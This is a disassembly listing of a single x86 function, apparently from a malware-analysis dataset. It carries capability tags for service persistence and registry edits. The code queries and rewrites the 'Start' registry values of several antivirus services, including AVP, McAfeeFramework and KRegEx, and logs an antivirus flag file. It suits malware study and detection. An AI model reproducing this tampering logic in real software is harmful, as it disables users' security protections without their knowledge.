Function at 0x43f5b0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fb016
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c8
push ebx
push esi
push edi
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x10], esp
xor esi, esi
push eax
mov dword [ebp - 4], esi
call fcn.004ab6e0
add esp, 4
lea ecx, [ebp - 0x40]
push ecx
call fcn.00401350
add esp, 4
lea ecx, [ebp - 0x188]
mov byte [0xd70b90], 0
push 1
call fcn.004f0653
push 1
lea ecx, [ebp - 0x2d4]
mov byte [ebp - 4], 1
call fcn.004f0653
mov edx, dword [0x4fe4e8]
lea ecx, [ebp - 0x188]
push edx
push 8
push str.c:endpcacheprocess_log.txt
mov byte [ebp - 4], 2
call fcn.004f0727
mov eax, dword [0x4fe4e8]
lea ecx, [ebp - 0x2d4]
push eax
push 2
push str.c:endpcache_antivir_flag.txt
call fcn.004f0727
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], esi
push ecx
push 0xf003f
push esi
push str.SYSTEMCurrentControlSetServicesKWatchSvc
push closesocket
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x1c], 0x80
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push esi
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43f9cf
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x43f7a0
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51dc6c
push edx
call fcn.004f175f
push 0x51dc38
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
cmp eax, esi
jne 0x43f78e
cmp dword [0xe56dbc], esi
jne 0x43f750
mov ebx, dword [ebp + 0x1b4]
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
lea esi, [ebp + 8]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x43f87b
mov ebx, dword [ebp + 0x1b4]
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
mov ecx, 0x6a
push edx
push ebx
push eax
lea esi, [ebp + 8]
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x43f87b
mov ebx, dword [ebp + 0x1b4]
lea ecx, [ebp - 0x140]
push ecx
jmp 0x43f87b
cmp eax, 2
jne 0x43f8a7
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51dc6c
push ecx
call fcn.004f175f
push 0x51dc38
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
cmp eax, esi
jne 0x43f86e
cmp dword [0xe56dbc], esi
jne 0x43f83a
mov ebx, dword [ebp + 0x1b4]
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
mov ecx, 0x6a
push edx
push ebx
push eax
lea esi, [ebp + 8]
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
jmp 0x43f874
mov ebx, dword [ebp + 0x1b4]
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
lea esi, [ebp + 8]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
jmp 0x43f874
mov ebx, dword [ebp + 0x1b4]
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x43f9d5
cmp eax, 3
je 0x43f8b5
cmp eax, 4
jne 0x43f9cf
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51dbfc
push eax
call fcn.004f175f
push 0x51dbb0
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
cmp eax, esi
jne 0x43f97a
cmp dword [0xe56dbc], esi
jne 0x43f946
mov ebx, dword [ebp + 0x1b4]
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
lea esi, [ebp + 8]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
jmp 0x43f980
mov ebx, dword [ebp + 0x1b4]
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
lea esi, [ebp + 8]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
jmp 0x43f980
mov ebx, dword [ebp + 0x1b4]
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x18c]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp - 0x18c], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
jmp 0x43f9d5
mov ebx, dword [ebp + 0x1b4]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesPAVSRV
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push 0
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43fcfc
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x43fb01
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51db48
push ecx
call fcn.004f175f
push 0x51db14
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43faf5
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43fac9
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x43fbc3
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
jmp 0x43fbc3
cmp eax, 2
jne 0x43fbef
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51db48
push eax
call fcn.004f175f
push 0x51db14
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43fbbc
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43fb90
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x43fbb6
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x43fcfc
cmp eax, 3
je 0x43fbfd
cmp eax, 4
jne 0x43fcfc
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51dad8
push edx
call fcn.004f175f
push 0x51da8c
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43fcaf
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43fc83
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x43fca9
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov eax, dword [ebp - 0x14]
lea edx, [ebp + 0x1b4]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x14]
push edx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesKVSrvXP
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push 0
push str.Start
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x440023
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x43fe28
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51da20
push eax
call fcn.004f175f
push 0x51d9e8
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43fe1c
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43fdf0
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x43feea
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x43feea
cmp eax, 2
jne 0x43ff16
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51da20
push edx
call fcn.004f175f
push 0x51d9e8
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43fee3
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43feb7
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x43fedd
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x440023
cmp eax, 3
je 0x43ff24
cmp eax, 4
jne 0x440023
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d9a4
push ecx
call fcn.004f175f
push 0x51d954
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x43ffd6
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x43ffaa
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x43ffd0
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp + 0x1b4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesKRegEx
push closesocket
call edi
mov eax, dword [ebp - 0x14]
lea edx, [ebp + 0x1b4]
push 4
push edx
push 4
push 0
push str.Start
push eax
mov dword [ebp + 0x1b4], 4
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 0x14]
push ecx
call esi
lea edx, [ebp - 0x14]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesRsRavMon
push closesocket
call edi
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x28c]
push eax
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x20]
push ecx
push edx
push 0
push str.Start
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x440391
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x440196
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d8c0
push eax
call fcn.004f175f
push 0x51d88c
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44018a
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44015e
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x440258
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x440258
cmp eax, 2
jne 0x440284
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d8c0
push edx
call fcn.004f175f
push 0x51d88c
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440251
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440225
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x44024b
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x440391
cmp eax, 3
je 0x440292
cmp eax, 4
jne 0x440391
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d850
push ecx
call fcn.004f175f
push 0x51d804
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440344
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440318
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x44033e
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push eax
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov edx, dword [ebp - 0x14]
lea ecx, [ebp + 0x1b4]
push 4
push ecx
push 4
push 0
push str.Start
push edx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x14]
push ecx
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesAVP
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x28c]
push edx
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0
push str.Start
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4406b8
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x4404bd
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d79c
push edx
call fcn.004f175f
push 0x51d764
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4404b1
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x440485
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44057f
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea ecx, [ebp - 0x140]
push ecx
jmp 0x44057f
cmp eax, 2
jne 0x4405ab
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d728
push ecx
call fcn.004f175f
push 0x51d764
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440578
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44054c
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440572
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x4406b8
cmp eax, 3
je 0x4405b9
cmp eax, 4
jne 0x4406b8
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d6e8
push eax
call fcn.004f175f
push 0x51d698
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x44066b
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44063f
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440665
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
lea ecx, [ebp - 0x17c]
push edx
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp + 0x1b4]
push 4
push eax
push 4
push 0
push str.Start
push ecx
mov dword [ebp + 0x1b4], 2
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x14]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesMcAfeeFramework
push closesocket
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 0x1c]
lea edx, [ebp - 0x28c]
push ecx
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x20]
push edx
push eax
push 0
push str.Start
push ecx
call edi
test eax, eax
jne 0x4409e2
mov eax, dword [ebp - 0x28c]
and eax, 0xff
jne 0x4407ff
lea edx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x20c]
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x140]
push eax
push 0x51d628
push ecx
call fcn.004f175f
push 0x51d5f4
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4407cc
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x4407a0
mov eax, dword [ebp + 0x1b0]
lea edx, [ebp - 0x140]
push edx
push ebx
push eax
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x4407c6
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea eax, [ebp - 0x140]
push eax
lea ecx, [ebp - 0x17c]
call fcn.004f0087
push 0xa
mov ecx, eax
call fcn.004eff40
push 0x402150
mov ecx, eax
call fcn.004016a0
mov dword [ebp - 0x18], 1
jmp 0x440c12
cmp eax, 2
jne 0x4408d6
lea ecx, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x20c]
push eax
push edx
call fcn.004fa6c0
add esp, 4
push eax
lea eax, [ebp - 0x140]
push 0x51d628
push eax
call fcn.004f175f
push 0x51d5f4
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x4408ca
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44089e
mov edx, dword [ebp + 0x1b0]
lea ecx, [ebp - 0x140]
push ecx
push ebx
push edx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x4407d3
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404560
add esp, 0x1b4
lea edx, [ebp - 0x140]
push edx
jmp 0x4407d3
cmp eax, 3
je 0x4408e4
cmp eax, 4
jne 0x440c12
lea eax, [ebp - 0x40]
mov byte [ebp - 0x140], 0
push eax
call fcn.004fa6c0
add esp, 4
lea ecx, [ebp - 0x20c]
push eax
push ecx
call fcn.004fa6c0
add esp, 4
lea edx, [ebp - 0x140]
push eax
push 0x51d5b4
push edx
call fcn.004f175f
push 0x51d568
push 0x50d39c
push 0xd70b90
call fcn.004f175f
mov eax, dword [0xe56db0]
add esp, 0x1c
test eax, eax
jne 0x440996
mov eax, dword [0xe56dbc]
test eax, eax
jne 0x44096a
mov ecx, dword [ebp + 0x1b0]
lea eax, [ebp - 0x140]
push eax
push ebx
push ecx
mov ecx, 0x6a
sub esp, 0x1a8
lea esi, [ebp + 8]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404170
jmp 0x440990
